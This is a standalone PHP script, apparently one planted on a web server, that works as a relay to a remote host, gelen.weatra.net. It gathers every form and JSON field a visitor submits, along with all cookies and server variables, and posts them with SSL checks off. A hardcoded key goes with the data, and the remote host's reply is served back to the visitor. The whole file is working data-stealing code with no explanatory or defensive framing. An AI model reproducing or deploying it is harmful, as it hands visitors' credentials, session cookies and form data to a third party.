session_start(); $url = 'https://gelen.weatra.net/' . $_SERVER['REQUEST_URI']; $Post = array(); $PhpInputs = array(); $PhpInputs = @file_get_contents("php://input"); $Opt = (PHP_VERSION_ID >= 50400 && !(defined('JSON_C_VERSION') && PHP_INT_SIZE > 4)) ? JSON_BIGINT_AS_STRING : 0; $PhpInputs = json_decode($PhpInputs, true, 512, $Opt); if (is_array($PhpInputs) && $PhpInputs != null) { $a = 1; $data = $PhpInputs; } if (is_array($_REQUEST) && $_REQUEST != null) { $b = 1; $data = $_REQUEST; } if ($a == 1 && $b == 1) { $data = array_merge($_POST, $PhpInputs); } //echo '
';print_r($_COOKIE);
$KimlikBilgileri['$_SERVER'] = $_SERVER;
$KimlikBilgileri['$_COOKIE'] = $_COOKIE;
$KimlikBilgileri['Domain'] = $_SERVER['HTTP_HOST'];
$KimlikBilgileri['Anahtar'] = '123xHola=*-';
$data['KimlikBilgileri'] = $KimlikBilgileri;
$Gonderilen = $data;
$Gonderilen = @http_build_query($data);
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_URL => $url,
CURLOPT_REFERER => $_SERVER['HTTP_REFERER'],
CURLOPT_USERAGENT => $_SERVER['HTTP_USER_AGENT'],
CURLOPT_HTTPHEADER => array('HTTP_ACCEPT:' . $_SERVER['HTTP_ACCEPT']),
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_FOLLOWLOCATION => 0,
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_TIMEOUT => 0,
CURLOPT_POSTFIELDS => $Gonderilen,
CURLOPT_POST => 1,
CURLOPT_FRESH_CONNECT => 1,
CURLOPT_BINARYTRANSFER => true,
));
$ResponseCurl = curl_exec($ch);
$curl_getinfo = curl_getinfo($ch);
$curl_getinfo['x'] = 'uzak alan, yani ilk başlangıç';
$http_code = $curl_getinfo['http_code'];
$redirect_url = $curl_getinfo['redirect_url'];
$content_type = $curl_getinfo['content_type'];
header("Content-type: $content_type");
if ($http_code == '200') {
echo $ResponseCurl;
} else {
if ($redirect_url) {
header("Location: " . $redirect_url, TRUE, $http_code);
header("Location: " . $redirect_url);
} else {
header(':', true, $http_code);
}
}
curl_close($ch);
?>